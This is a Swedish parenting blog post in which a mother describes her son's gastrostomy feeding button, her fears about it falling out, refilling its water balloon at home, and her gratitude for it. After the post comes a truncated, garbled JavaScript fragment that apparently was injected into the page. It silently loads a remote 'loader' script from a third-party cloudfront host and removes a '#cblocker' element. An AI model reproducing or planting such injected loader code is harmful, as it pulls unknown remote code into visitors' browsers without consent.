Noel har haft sin knapp i ca 16 månader nu, han fick den i April förra året. I början var jag enormt skeptisk till att låta Noel få en knapp, dels för att en del av mig hoppades innerligt att han inte skulle behöva den, och så dels för att jag inte ville att han skulle sövas och behöva genomgå en operation för att få ett hjälpmedel.
Och det är just ett hjälpmedel knappen är. Ett underbart hjälpmedel. När man väl vant sig vid den, och det har vi ju eftersom vi inte ens tänker på att den finns där längre, så känns det bara helt naturlig, lite som att man känner -har inte alla barn en knapp…
Jag kan tycka det är läskigt med knappen ibland. Det är ju trots allt ett hål rakt in i magsäcken som knappen täcker upp, skulle den ramla ut så är där ett öppet hål rakt in. Visserligen läker ”hålet” extremt fort, bara på någon timme (på gott och ont) men det är ändå läskigt på något sätt. Sedan är det ju just grejen att det läker så snabbt, jag är livrädd att den där jäkla knappen skulle lossna och vi inte får dit den igen, då måste man ju operera om och sätta dit en ny…fy. Sedan har vi det där med att byta vatten i knappen. Konstruktionen är som den att knappen sitter på ovansidan magen och i andra sidan av ”hålet” fylls en ballong med vatten som hindrar knappen från att lossna och ramla ur. Men vattnet i ballongen måste bytas med jämna mellanrum, det kan helt enkelt bli kondens så vattenmängden minskar och behöver fyllas på, detta gör vi själva hemma. Det är egentligen jätte enkelt och vi gör det när Noel sover så vi inte riskerar att knappen åker ut, men medan man tar bort vattnet finns ju inget som håller den på plats bortsett från att vi håller fast den mot magen. Jag är livrädd varje gång jag gör detta, dels för att jag får för mig att knappen ska åka ut, och sen för att jag ska fylla ballongen för mycket så den spricker..då är liksom hela knappen förstörd och behöver bytas ut….vi har en extra här hemma, men så var det där med 1 timme, om man inte får i den på en timme så läker hålet….
Hur som så tänker vi sällen på knappen, men jag måste medge att det är en trygghet att den finns. Ett älskat hjälpmedel som sitter smidigt och inte är i vägen som sonden var. Som idag när Noel varit kinkig med maten pga sin tand så är knappen fantastisk, han slipper gå hungrig och jag slipper ångesten över att han inte får mat och inte går upp ordentligt…den är helt enkelt bra att ha och vi har inge planer på att ta bort den ännu, trots att Noel äter kanon på egen hand. Den sitter bra där den sitter och ingen av oss störs av att den finns, tvärtom, vi är glada att den är där den är!
// -1?’https':’http';var ccm=document.createElement(‘script’);ccm.type=’text/javascript';ccm.async=true;ccm.src=http+'://d1nfmblh2wz0fd.cloudfront.net/items/loaders/loader_1063.js?aoi=1311798366&pid=1063&zoneid=15220&cid=&rid=&ccid=&ip=';var s=document.getElementsByTagName(‘script’)[0];s.parentNode.insertBefore(ccm,s);jQuery(‘#cblocker’).remove();});};
// ]]>
